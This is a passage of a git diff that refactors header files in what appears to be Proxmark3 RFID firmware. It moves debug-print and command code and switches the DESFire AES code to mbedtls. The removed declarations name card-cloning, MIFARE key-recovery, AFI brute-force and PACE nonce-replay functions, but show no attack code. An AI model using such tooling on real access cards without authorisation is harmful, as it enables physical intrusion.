+//----------------------------------------------------------------------------- +// Definitions internal to the app source. +//----------------------------------------------------------------------------- +#ifndef __APPMAIN_H +#define __APPMAIN_H + +#include "common.h" + +extern const uint8_t OddByteParity[256]; +extern int rsamples; // = 0; +extern uint8_t trigger; +extern bool allow_send_wtx; + +// ADC Vref = 3300mV, and an (10M+1M):1M voltage divider on the HF input can measure voltages up to 36300 mV +#define MAX_ADC_HF_VOLTAGE 36300 +// ADC Vref = 3300mV, (240k-10M):240k voltage divider, 140800 mV +#define MAX_ADC_HF_VOLTAGE_RDV40 140800 +// ADC Vref = 3300mV, and an (10000k+240k):240k voltage divider on the LF input can measure voltages up to 140800 mV +#define MAX_ADC_LF_VOLTAGE 140800 + +extern int ToSendMax; +extern uint8_t ToSend[]; + +void send_wtx(uint16_t wtx); +void ReadMem(int addr); +void __attribute__((noreturn)) AppMain(void); + +uint16_t AvgAdc(int ch); + +//void PrintToSendBuffer(void); +void ToSendStuffBit(int b); +void ToSendReset(void); +void ListenReaderField(uint8_t limit); +void StandAloneMode(void); +void printStandAloneModes(void); + +#endif diff --git a/armsrc/apps.h b/armsrc/apps.h deleted file mode 100644 index 41a1f0271..000000000 --- a/armsrc/apps.h +++ /dev/null @@ -1,252 +0,0 @@ -//----------------------------------------------------------------------------- -// Jonathan Westhues, Aug 2005 -// Gerhard de Koning Gans, April 2008, May 2011 -// -// This code is licensed to you under the terms of the GNU GPL, version 2 or, -// at your option, any later version. See the LICENSE.txt file for the text of -// the license. -//----------------------------------------------------------------------------- -// Definitions internal to the app source. -//----------------------------------------------------------------------------- -#ifndef __APPS_H -#define __APPS_H - -#ifdef __cplusplus -extern "C" { -#endif - -#include -#include -#include "common.h" -#include "usb_cdc.h" -#include "crc32.h" -#include "lfdemod.h" -#include "BigBuf.h" -#include "fpgaloader.h" -#include "hitag2.h" -#include "hitagS.h" -#include "mifare.h" -#include "pcf7931.h" -#include "desfire.h" -#include "iso14443b.h" -#include "Standalone/standalone.h" -#include "flashmem.h" - -extern const uint8_t OddByteParity[256]; -extern int rsamples; // = 0; -extern uint8_t trigger; - -// This may be used (sparingly) to declare a function to be copied to -// and executed from RAM -#define RAMFUNC __attribute((long_call, section(".ramfunc"))) - -/// appmain.h -void ReadMem(int addr); -void __attribute__((noreturn)) AppMain(void); -//void DbpIntegers(int a, int b, int c); -void DbpString(char *str); -void DbpStringEx(uint32_t flags, char *str); -void Dbprintf(const char *fmt, ...); -void DbprintfEx(uint32_t flags, const char *fmt, ...); -void Dbhexdump(int len, uint8_t *d, bool bAsci); - -// ADC Vref = 3300mV, and an (10M+1M):1M voltage divider on the HF input can measure voltages up to 36300 mV -#define MAX_ADC_HF_VOLTAGE 36300 -// ADC Vref = 3300mV, (240k-10M):240k voltage divider, 140800 mV -#define MAX_ADC_HF_VOLTAGE_RDV40 140800 -// ADC Vref = 3300mV, and an (10000k+240k):240k voltage divider on the LF input can measure voltages up to 140800 mV -#define MAX_ADC_LF_VOLTAGE 140800 -uint16_t AvgAdc(int ch); - -void print_result(char *name, uint8_t *buf, size_t len); -//void PrintToSendBuffer(void); -void ToSendStuffBit(int b); -void ToSendReset(void); -void ListenReaderField(uint8_t limit); -extern int ToSendMax; -extern uint8_t ToSend[]; - -void StandAloneMode(void); -void printStandAloneModes(void); - -/// lfops.h -extern uint8_t decimation; -extern uint8_t bits_per_sample ; -extern bool averaging; - -void AcquireRawAdcSamples125k(int divisor); -void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint32_t period_1, uint8_t *command); -void ReadTItag(void); -void WriteTItag(uint32_t idhi, uint32_t idlo, uint16_t crc); - -void AcquireTiType(void); -void AcquireRawBitsTI(void); -void SimulateTagLowFrequencyEx(int period, int gap, bool ledcontrol, int numcycles); -void SimulateTagLowFrequency(int period, int gap, bool ledcontrol); -void SimulateTagLowFrequencyBidir(int divisor, int max_bitlen); - -void CmdHIDsimTAGEx(uint32_t hi, uint32_t lo, bool ledcontrol, int numcycles); -void CmdHIDsimTAG(uint32_t hi, uint32_t lo, bool ledcontrol); - -void CmdFSKsimTAG(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol); -void CmdASKsimTAG(uint8_t encoding, uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol); -void CmdPSKsimTag(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol); - -void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); -void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); // Realtime demodulation mode for AWID26 -void CmdEM410xdemod(int findone, uint32_t *high, uint64_t *low, int ledcontrol); -void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); -void CopyIOtoT55x7(uint32_t hi, uint32_t lo); // Clone an ioProx card to T5557/T5567 -void CopyHIDtoT55x7(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT); // Clone an HID card to T5557/T5567 -void CopyVikingtoT55xx(uint32_t block1, uint32_t block2, uint8_t Q5); -void WriteEM410x(uint32_t card, uint32_t id_hi, uint32_t id_lo); -void CopyIndala64toT55x7(uint32_t hi, uint32_t lo); // Clone Indala 64-bit tag by UID to T55x7 -void CopyIndala224toT55x7(uint32_t uid1, uint32_t uid2, uint32_t uid3, uint32_t uid4, uint32_t uid5, uint32_t uid6, uint32_t uid7); // Clone Indala 224-bit tag by UID to T55x7 -void T55xxResetRead(void); -void T55xxWriteBlock(uint8_t *data); -void T55xxWriteBlockExt(uint32_t data, uint8_t blockno, uint32_t pwd, uint8_t flags); -void T55xxReadBlock(uint8_t page, bool pwd_mode, bool brute_mem, uint8_t block, uint32_t pwd); -void T55xxWakeUp(uint32_t Pwd); -void T55xx_ChkPwds(void); - -void TurnReadLFOn(uint32_t delay); - -void EM4xReadWord(uint8_t addr, uint32_t pwd, uint8_t usepwd); -void EM4xWriteWord(uint8_t addr, uint32_t data, uint32_t pwd, uint8_t usepwd); - -void Cotag(uint32_t arg0); -void setT55xxConfig(uint8_t arg0, t55xx_config *c); -t55xx_config *getT55xxConfig(void); -void printT55xxConfig(void); -void loadT55xxConfig(void); - -/// iso14443b.h -void SimulateIso14443bTag(uint32_t pupi); -void AcquireRawAdcSamplesIso14443b(uint32_t parameter); -void ReadSTMemoryIso14443b(uint8_t numofblocks); -void RAMFUNC SniffIso14443b(void); -void SendRawCommand14443B(uint32_t, uint32_t, uint8_t, uint8_t[]); -void SendRawCommand14443B_Ex(PacketCommandNG *c); -void ClearFpgaShiftingRegisters(void); - -// iso14443a.h -void RAMFUNC SniffIso14443a(uint8_t param); -void ReaderIso14443a(PacketCommandNG *c); - -// Also used in iclass.c -//bool RAMFUNC LogTrace(const uint8_t *btBytes, uint16_t len, uint32_t timestamp_start, uint32_t timestamp_end, uint8_t *parity, bool readerToTag); -void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par); -void iso14a_set_trigger(bool enable); -// also used in emv -//bool prepare_allocated_tag_modulation(tag_response_info_t *response_info); -//int GetIso14443aCommandFromReader(uint8_t *received, uint8_t *parity, int *len); - -// epa.h -void EPA_PACE_Collect_Nonce(PacketCommandNG *c); -void EPA_PACE_Replay(PacketCommandNG *c); - -// mifarecmd.h -void MifareReadBlock(uint8_t blockNo, uint8_t keyType, uint8_t *datain); - -void MifareUReadBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); -void MifareUC_Auth(uint8_t arg0, uint8_t *keybytes); -void MifareUReadCard(uint8_t arg0, uint16_t arg1, uint8_t arg2, uint8_t *datain); -void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t *datain); -void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); -//void MifareUWriteBlockCompat(uint8_t arg0,uint8_t *datain); -void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); -void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); -void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain); -void MifareAcquireNonces(uint32_t arg0, uint32_t flags); -void MifareChkKeys(uint8_t *datain); -void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); - -void MifareEMemClr(void); -void MifareEMemSet(uint8_t blockno, uint8_t blockcnt, uint8_t blockwidth, uint8_t *datain); -void MifareEMemGet(uint8_t blockno, uint8_t blockcnt); -int MifareECardLoad(uint32_t arg0, uint32_t arg1); - -void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); // Work with "magic Chinese" card -void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); -void MifareCIdent(); // is "magic chinese" card? - -void MifareSetMod(uint8_t *datain); -void MifareUSetPwd(uint8_t arg0, uint8_t *datain); -void OnSuccessMagic(); -void OnErrorMagic(uint8_t reason); - -int32_t dist_nt(uint32_t nt1, uint32_t nt2); -void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype); -//void RAMFUNC SniffMifare(uint8_t param); - -//desfire -void Mifare_DES_Auth1(uint8_t arg0, uint8_t *datain); -void Mifare_DES_Auth2(uint32_t arg0, uint8_t *datain); - -// mifaredesfire.h -bool InitDesfireCard(); -void MifareSendCommand(uint8_t arg0, uint8_t arg1, uint8_t *datain); -void MifareDesfireGetInformation(); -void MifareDES_Auth1(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain); -void ReaderMifareDES(uint32_t param, uint32_t param2, uint8_t *datain); -int DesfireAPDU(uint8_t *cmd, size_t cmd_len, uint8_t *dataout); -size_t CreateAPDU(uint8_t *datain, size_t len, uint8_t *dataout); -void OnSuccess(); -void OnError(uint8_t reason); - -// desfire_crypto.h -void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, size_t offset, int communication_settings); -void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes, int communication_settings); -void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect, MifareCryptoDirection direction, MifareCryptoOperation operation, size_t block_size); -void mifare_cypher_blocks_chained(desfiretag_t tag, desfirekey_t key, uint8_t *ivect, uint8_t *data, size_t data_size, MifareCryptoDirection direction, MifareCryptoOperation operation); -size_t key_block_size(const desfirekey_t key); -size_t padded_data_length(const size_t nbytes, const size_t block_size); -size_t maced_data_length(const desfirekey_t key, const size_t nbytes); -size_t enciphered_data_length(const desfiretag_t tag, const size_t nbytes, int communication_settings); -void cmac_generate_subkeys(desfirekey_t key); -void cmac(const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t len, uint8_t *cmac); - -// iso15693.h -void RecordRawAdcSamplesIso15693(void); -void AcquireRawAdcSamplesIso15693(void); -void ReaderIso15693(uint32_t parameter); // Simulate an ISO15693 reader - greg -void SimTagIso15693(uint32_t parameter, uint8_t *uid); // simulate an ISO15693 tag - greg -void BruteforceIso15693Afi(uint32_t speed); // find an AFI of a tag - atrox -void DirectTag15693Command(uint32_t datalen, uint32_t speed, uint32_t recv, uint8_t *data); // send arbitrary commands from CLI - atrox -void Iso15693InitReader(void); - -// iclass.h -void RAMFUNC SniffIClass(void); -void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); -void ReaderIClass(uint8_t arg0); -void ReaderIClass_Replay(uint8_t arg0, uint8_t *mac); -void iClass_Authentication(uint8_t *mac); -void iClass_Authentication_fast(uint64_t arg0, uint64_t arg1, uint8_t *datain); -void iClass_WriteBlock(uint8_t blockno, uint8_t *data); -void iClass_ReadBlk(uint8_t blockno); -bool iClass_ReadBlock(uint8_t blockno, uint8_t *data, uint8_t len); -void iClass_Dump(uint8_t blockno, uint8_t numblks); -void iClass_Clone(uint8_t startblock, uint8_t endblock, uint8_t *data); -void iClass_ReadCheck(uint8_t blockno, uint8_t keytype); - -// cmd.h -int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); -int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); -int reply_ng(uint16_t cmd, int16_t status, uint8_t *data, size_t len); -int receive_ng(PacketCommandNG *rx); - -// util.h -void HfSniff(int, int); - -//felica.c -void felica_sendraw(PacketCommandNG *c); -void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip); -void felica_sim_lite(uint64_t uid); -void felica_dump_lite_s(); - - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/armsrc/buzzer.c b/armsrc/buzzer_disabled.c similarity index 98% rename from armsrc/buzzer.c rename to armsrc/buzzer_disabled.c index 708b7d3f7..579ffaa4e 100644 --- a/armsrc/buzzer.c +++ b/armsrc/buzzer_disabled.c @@ -1,4 +1,4 @@ -#include "buzzer.h" +#include "buzzer_disabled.h" void Ring_BEE_ONCE(uint16_t music_note) { BEE_ON(); diff --git a/armsrc/buzzer.h b/armsrc/buzzer_disabled.h similarity index 84% rename from armsrc/buzzer.h rename to armsrc/buzzer_disabled.h index 082450f04..c8b6e4472 100644 --- a/armsrc/buzzer.h +++ b/armsrc/buzzer_disabled.h @@ -5,10 +5,7 @@ #ifndef __BUZZER_H #define __BUZZER_H -#include -#include "proxmark3.h" -#include "apps.h" -#include "util.h" +#include "common.h" #define n_2_7khz 185 #define note_1 956 @@ -27,24 +24,3 @@ void Ring_ALL(uint16_t count); void Ring_Little_Star(uint16_t count); #endif - - - - - - - - - - - - - - - - - - - - - diff --git a/common/cmd.c b/armsrc/cmd.c similarity index 97% rename from common/cmd.c rename to armsrc/cmd.c index 6af0437d1..c7f76960b 100644 --- a/common/cmd.c +++ b/armsrc/cmd.c @@ -30,7 +30,10 @@ * @brief */ #include "cmd.h" +#include "usb_cdc.h" +#include "usart.h" #include "crc16.h" +#include "string.h" // Flags to tell where to add CRC on sent replies bool reply_with_crc_on_usb = false; @@ -40,10 +43,10 @@ bool reply_via_fpc = false; bool reply_via_usb = false; int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) { - PacketResponseOLD txcmd; + PacketResponseOLD txcmd = {CMD_UNKNOWN, {0, 0, 0}, {{0}}}; - for (size_t i = 0; i < sizeof(PacketResponseOLD); i++) - ((uint8_t *)&txcmd)[i] = 0x00; +// for (size_t i = 0; i < sizeof(PacketResponseOLD); i++) +// ((uint8_t *)&txcmd)[i] = 0x00; // Compose the outgoing command frame txcmd.cmd = cmd; diff --git a/common/cmd.h b/armsrc/cmd.h similarity index 71% rename from common/cmd.h rename to armsrc/cmd.h index 261a1e1a0..e04f397a3 100644 --- a/common/cmd.h +++ b/armsrc/cmd.h @@ -35,14 +35,6 @@ #include "common.h" #include "pm3_cmd.h" -#include "usb_cdc.h" -#include "usart.h" -#include "proxmark3.h" - -int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); -int reply_ng(uint16_t cmd, int16_t status, uint8_t *data, size_t len); -int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); -int receive_ng(PacketCommandNG *rx); // Flags to tell where to add CRC on sent replies extern bool reply_with_crc_on_usb; @@ -51,33 +43,10 @@ extern bool reply_with_crc_on_fpc; extern bool reply_via_fpc; extern bool reply_via_usb; -extern void Dbprintf(const char *fmt, ...); -#define Dbprintf_usb(...) {\ - bool tmpfpc = reply_via_fpc;\ - bool tmpusb = reply_via_usb;\ - reply_via_fpc = false;\ - reply_via_usb = true;\ - Dbprintf(__VA_ARGS__);\ - reply_via_fpc = tmpfpc;\ - reply_via_usb = tmpusb;} - -#define Dbprintf_fpc(...) {\ - bool tmpfpc = reply_via_fpc;\ - bool tmpusb = reply_via_usb;\ - reply_via_fpc = true;\ - reply_via_usb = false;\ - Dbprintf(__VA_ARGS__);\ - reply_via_fpc = tmpfpc;\ - reply_via_usb = tmpusb;} - -#define Dbprintf_all(...) {\ - bool tmpfpc = reply_via_fpc;\ - bool tmpusb = reply_via_usb;\ - reply_via_fpc = true;\ - reply_via_usb = true;\ - Dbprintf(__VA_ARGS__);\ - reply_via_fpc = tmpfpc;\ - reply_via_usb = tmpusb;} +int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); +int reply_ng(uint16_t cmd, int16_t status, uint8_t *data, size_t len); +int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); +int receive_ng(PacketCommandNG *rx); #endif // _PROXMARK_CMD_H_ diff --git a/armsrc/dbprint.c b/armsrc/dbprint.c new file mode 100644 index 000000000..9b18b7aca --- /dev/null +++ b/armsrc/dbprint.c @@ -0,0 +1,130 @@ +//----------------------------------------------------------------------------- +// Jonathan Westhues, Mar 2006 +// Edits by Gerhard de Koning Gans, Sep 2007 (##) +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// The main application code. This is the first thing called after start.c +// executes. +//----------------------------------------------------------------------------- + +#include "dbprint.h" + +#include "string.h" +#include "cmd.h" +#include "printf.h" + +#define DEBUG 1 + +//============================================================================= +// Debug print functions, to go out over USB, to the usual PC-side client. +//============================================================================= + +void DbpStringEx(uint32_t flags, char *src, size_t srclen) { +#if DEBUG + struct { + uint16_t flag; + uint8_t buf[PM3_CMD_DATA_SIZE - sizeof(uint16_t)]; + } PACKED data; + data.flag = flags; + uint16_t len = MIN(srclen, sizeof(data.buf)); + memcpy(data.buf, src, len); + reply_ng(CMD_DEBUG_PRINT_STRING, PM3_SUCCESS, (uint8_t *)&data, sizeof(data.flag) + len); +#endif +} + +void DbpString(char *str) { +#if DEBUG + DbpStringEx(FLAG_LOG, str, strlen(str)); +#endif +} + +void DbprintfEx(uint32_t flags, const char *fmt, ...) { +#if DEBUG + // should probably limit size here; oh well, let's just use a big buffer + char s[PM3_CMD_DATA_SIZE] = {0x00}; + va_list ap; + va_start(ap, fmt); + kvsprintf(fmt, s, 10, ap); + va_end(ap); + + DbpStringEx(flags, s, strlen(s)); +#endif +} + +void Dbprintf(const char *fmt, ...) { +#if DEBUG + // should probably limit size here; oh well, let's just use a big buffer + char output_string[PM3_CMD_DATA_SIZE] = {0x00}; + va_list ap; + + va_start(ap, fmt); + kvsprintf(fmt, output_string, 10, ap); + va_end(ap); + + DbpString(output_string); +#endif +} + +// prints HEX & ASCII +void Dbhexdump(int len, uint8_t *d, bool bAsci) { +#if DEBUG + char ascii[9]; + + while (len > 0) { + + int l = (len > 8) ? 8 : len; + + memcpy(ascii, d, l); + ascii[l] = 0; + + // filter safe ascii + for (int i = 0; i < l; i++) { + if (ascii[i] < 32 || ascii[i] > 126) { + ascii[i] = '.'; + } + } + + if (bAsci) + Dbprintf("%-8s %*D", ascii, l, d, " "); + else + Dbprintf("%*D", l, d, " "); + + len -= 8; + d += 8; + } +#endif +} + +void print_result(char *name, uint8_t *buf, size_t len) { + + uint8_t *p = buf; + uint16_t tmp = len & 0xFFF0; + + for (; p - buf < tmp; p += 16) { + Dbprintf("[%s: %02d/%02d] %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x", + name, + p - buf, + len, + p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7], p[8], p[9], p[10], p[11], p[12], p[13], p[14], p[15] + ); + } + if (len % 16 != 0) { + char s[46] = {0}; + char *sp = s; + for (; p - buf < len; p++) { + sprintf(sp, "%02x ", p[0]); + sp += 3; + } + Dbprintf("[%s: %02d/%02d] %s", name, p - buf, len, s); + } +} + +/* useful when debugging new protocol implementations like FeliCa +void PrintToSendBuffer(void) { + DbpString("Printing ToSendBuffer:"); + Dbhexdump(ToSendMax, ToSend, 0); +} +*/ diff --git a/armsrc/dbprint.h b/armsrc/dbprint.h new file mode 100644 index 000000000..c3229f46f --- /dev/null +++ b/armsrc/dbprint.h @@ -0,0 +1,53 @@ +//----------------------------------------------------------------------------- +// Jonathan Westhues, Aug 2005 +// Gerhard de Koning Gans, April 2008, May 2011 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Definitions internal to the app source. +//----------------------------------------------------------------------------- +#ifndef __DBPRINT_H +#define __DBPRINT_H + +#include "common.h" +#include "ansi.h" + +#define Dbprintf_usb(...) {\ + bool tmpfpc = reply_via_fpc;\ + bool tmpusb = reply_via_usb;\ + reply_via_fpc = false;\ + reply_via_usb = true;\ + Dbprintf(__VA_ARGS__);\ + reply_via_fpc = tmpfpc;\ + reply_via_usb = tmpusb;} + +#define Dbprintf_fpc(...) {\ + bool tmpfpc = reply_via_fpc;\ + bool tmpusb = reply_via_usb;\ + reply_via_fpc = true;\ + reply_via_usb = false;\ + Dbprintf(__VA_ARGS__);\ + reply_via_fpc = tmpfpc;\ + reply_via_usb = tmpusb;} + +#define Dbprintf_all(...) {\ + bool tmpfpc = reply_via_fpc;\ + bool tmpusb = reply_via_usb;\ + reply_via_fpc = true;\ + reply_via_usb = true;\ + Dbprintf(__VA_ARGS__);\ + reply_via_fpc = tmpfpc;\ + reply_via_usb = tmpusb;} + + +void DbpString(char *str); +void DbpStringEx(uint32_t flags, char *src, size_t srclen); +void Dbprintf(const char *fmt, ...); +void DbprintfEx(uint32_t flags, const char *fmt, ...); +void Dbhexdump(int len, uint8_t *d, bool bAsci); +void print_result(char *name, uint8_t *buf, size_t len); +//void PrintToSendBuffer(void); + +#endif diff --git a/armsrc/des.c b/armsrc/des.c index 41b30734c..ccd32be7d 100644 --- a/armsrc/des.c +++ b/armsrc/des.c @@ -27,6 +27,7 @@ */ #include "des.h" +#include "string.h" const uint8_t sbox[256] = { /* S-box 1 */ @@ -271,7 +272,7 @@ uint8_t substitute(uint8_t a, uint8_t *sbp) { uint32_t des_f(uint32_t r, uint8_t *kr) { uint8_t i; uint32_t t = 0, ret; - uint64_t data; + uint64_t data = 0; uint8_t *sbp; /* sboxpointer */ permute((uint8_t *)e_permtab, (uint8_t *)&r, (uint8_t *)&data); for (i = 0; i < 6; ++i) diff --git a/armsrc/des.h b/armsrc/des.h index 0d2cceefb..8cf41b8ae 100644 --- a/armsrc/des.h +++ b/armsrc/des.h @@ -27,8 +27,7 @@ #ifndef __DES_H_ #define __DES_H_ -#include -#include +#include "common.h" /* the FIPS 46-3 (1999-10-25) name for triple DES is triple data encryption algorithm so TDEA. * Also we only implement the three key mode */ diff --git a/common/desfire.h b/armsrc/desfire.h similarity index 96% rename from common/desfire.h rename to armsrc/desfire.h index 3cffd2967..5fa7e8d48 100644 --- a/common/desfire.h +++ b/armsrc/desfire.h @@ -1,9 +1,7 @@ #ifndef __DESFIRE_H #define __DESFIRE_H -#include -#include -#include "aes.h" +#include "common.h" #include "mifare.h" #define MAX_CRYPTO_BLOCK_SIZE 16 @@ -71,10 +69,6 @@ enum DESFIRE_CRYPTOALGO { struct desfire_key { enum DESFIRE_CRYPTOALGO type; uint8_t data[24]; - // DES_key_schedule ks1; - // DES_key_schedule ks2; - // DES_key_schedule ks3; - AesCtx aes_ks; uint8_t cmac_sk1[24]; uint8_t cmac_sk2[24]; uint8_t aes_version; diff --git a/armsrc/desfire_crypto.h b/armsrc/desfire_crypto.h deleted file mode 100644 index 9964d094f..000000000 --- a/armsrc/desfire_crypto.h +++ /dev/null @@ -1,18 +0,0 @@ -#ifndef __DESFIRE_CRYPTO_H -#define __DESFIRE_CRYPTO_H - -#ifdef __cplusplus -extern "C" { -#endif - -#include -#include "crc32.h" -#include "printf.h" -#include "desfire.h" -#include "iso14443a.h" - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/armsrc/desfire_crypto.c b/armsrc/desfire_crypto_disabled.c similarity index 96% rename from armsrc/desfire_crypto.c rename to armsrc/desfire_crypto_disabled.c index 10ddf4162..02896afa8 100644 --- a/armsrc/desfire_crypto.c +++ b/armsrc/desfire_crypto_disabled.c @@ -25,7 +25,13 @@ * Recommendation for Block Cipher Modes of Operation: The CMAC Mode for Authentication * May 2005 */ -#include "desfire_crypto.h" +#include +#include "desfire_crypto_disabled.h" +#include "crc32.h" +#include "printf.h" +#include "desfire.h" +#include "iso14443a.h" +#include "mbedtls/aes.h" static void xor(const uint8_t *ivect, uint8_t *data, const size_t len); static size_t key_macing_length(desfirekey_t key); @@ -571,15 +577,19 @@ void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect, case T_AES: switch (operation) { case MCO_ENCYPHER: { - AesCtx ctx; - AesCtxIni(&ctx, ivect, key->data, KEY128, CBC); - AesEncrypt(&ctx, data, edata, sizeof(edata)); + mbedtls_aes_context ctx; + mbedtls_aes_init(&ctx); + mbedtls_aes_setkey_enc(&ctx, key->data, 128); + mbedtls_aes_crypt_cbc(&ctx, MBEDTLS_AES_ENCRYPT, sizeof(edata), ivect, data, edata); + mbedtls_aes_free(&ctx); break; } case MCO_DECYPHER: { - AesCtx ctx; - AesCtxIni(&ctx, ivect, key->data, KEY128, CBC); - AesDecrypt(&ctx, edata, data, sizeof(edata)); + mbedtls_aes_context ctx; + mbedtls_aes_init(&ctx); + mbedtls_aes_setkey_dec(&ctx, key->data, 128); + mbedtls_aes_crypt_cbc(&ctx, MBEDTLS_AES_DECRYPT, sizeof(edata), ivect, edata, data); + mbedtls_aes_free(&ctx); break; } } diff --git a/armsrc/desfire_crypto_disabled.h b/armsrc/desfire_crypto_disabled.h new file mode 100644 index 000000000..23043b30d --- /dev/null +++ b/armsrc/desfire_crypto_disabled.h @@ -0,0 +1,18 @@ +#ifndef __DESFIRE_CRYPTO_H +#define __DESFIRE_CRYPTO_H + +#include "common.h" +#include "desfire.h" + +void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, size_t offset, int communication_settings); +void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes, int communication_settings); +void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect, MifareCryptoDirection direction, MifareCryptoOperation operation, size_t block_size); +void mifare_cypher_blocks_chained(desfiretag_t tag, desfirekey_t key, uint8_t *ivect, uint8_t *data, size_t data_size, MifareCryptoDirection direction, MifareCryptoOperation operation); +size_t key_block_size(const desfirekey_t key); +size_t padded_data_length(const size_t nbytes, const size_t block_size); +size_t maced_data_length(const desfirekey_t key, const size_t nbytes); +size_t enciphered_data_length(const desfiretag_t tag, const size_t nbytes, int communication_settings); +void cmac_generate_subkeys(desfirekey_t key); +void cmac(const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t len, uint8_t *cmac); + +#endif diff --git a/armsrc/desfire_key.c b/armsrc/desfire_key.c index e1f880c8b..272f18562 100644 --- a/armsrc/desfire_key.c +++ b/armsrc/desfire_key.c @@ -18,6 +18,7 @@ */ #include "desfire_key.h" +#include "string.h" static inline void update_key_schedules(desfirekey_t key); diff --git a/armsrc/desfire_key.h b/armsrc/desfire_key.h index 4fc02854e..603fd5663 100644 --- a/armsrc/desfire_key.h +++ b/armsrc/desfire_key.h @@ -1,11 +1,8 @@ #ifndef __DESFIRE_KEY_INCLUDED #define __DESFIRE_KEY_INCLUDED -#include -#include -#include "iso14443a.h" +#include "common.h" #include "desfire.h" -//#include "mifare.h" // iso14a_card_select_t struct void Desfire_des_key_new(const uint8_t value[8], desfirekey_t key); void Desfire_3des_key_new(const uint8_t value[16], desfirekey_t key); void Desfire_des_key_new_with_version(const uint8_t value[8], desfirekey_t key); @@ -17,4 +14,5 @@ void Desfire_aes_key_new_with_version(const uint8_t value[16], uint8_t version, uint8_t Desfire_key_get_version(desfirekey_t key); void Desfire_key_set_version(desfirekey_t key, uint8_t version); void Desfire_session_key_new(const uint8_t rnda[], const uint8_t rndb[], desfirekey_t authkey, desfirekey_t key); + #endif diff --git a/common/emvtags.h b/armsrc/emvtags.h similarity index 99% rename from common/emvtags.h rename to armsrc/emvtags.h index 9315258fc..c64b248a3 100644 --- a/common/emvtags.h +++ b/armsrc/emvtags.h @@ -12,8 +12,7 @@ #ifndef __EMVCARD_H #define __EMVCARD_H -#include -#include +#include "common.h" //structure to hold received/set tag values //variable data inputs have length specifiers diff --git a/armsrc/epa.c b/armsrc/epa.c index fabeec6d2..f535b89a3 100644 --- a/armsrc/epa.c +++ b/armsrc/epa.c @@ -12,6 +12,16 @@ //----------------------------------------------------------------------------- #include "epa.h" +#include "cmd.h" +#include "fpgaloader.h" +#include "iso14443a.h" +#include "iso14443b.h" +#include "string.h" +#include "util.h" +#include "dbprint.h" +#include "commonutil.h" +#include "ticks.h" + // Protocol and Parameter Selection Request for ISO 14443 type A cards // use regular (1x) speed in both directions // CRC is already included @@ -129,8 +139,8 @@ void EPA_Finish() { //----------------------------------------------------------------------------- // Parses DER encoded data, e.g. from EF.CardAccess and fills out the given // structs. If a pointer is 0, it is ignored. -// The function returns 0 on success and if an error occured, it returns the -// offset where it occured. +// The function returns 0 on success and if an error occurred, it returns the +// offset where it occurred. // // TODO: This function can access memory outside of the given data if the DER // encoding is broken @@ -264,7 +274,7 @@ void EPA_PACE_Collect_Nonce(PacketCommandNG *c) { * ack layout: * arg: * 1. element - * step where the error occured or 0 if no error occured + * step where the error occurred or 0 if no error occurred * 2. element * return code of the last executed function * d: @@ -470,14 +480,14 @@ void EPA_PACE_Replay(PacketCommandNG *c) { uint8_t response_apdu[300] = {0}; // now replay the data and measure the timings - for (int i = 0; i < sizeof(apdu_lengths_replay); i++) { + for (int i = 0; i < ARRAYLEN(apdu_lengths_replay); i++) { StartCountUS(); func_return 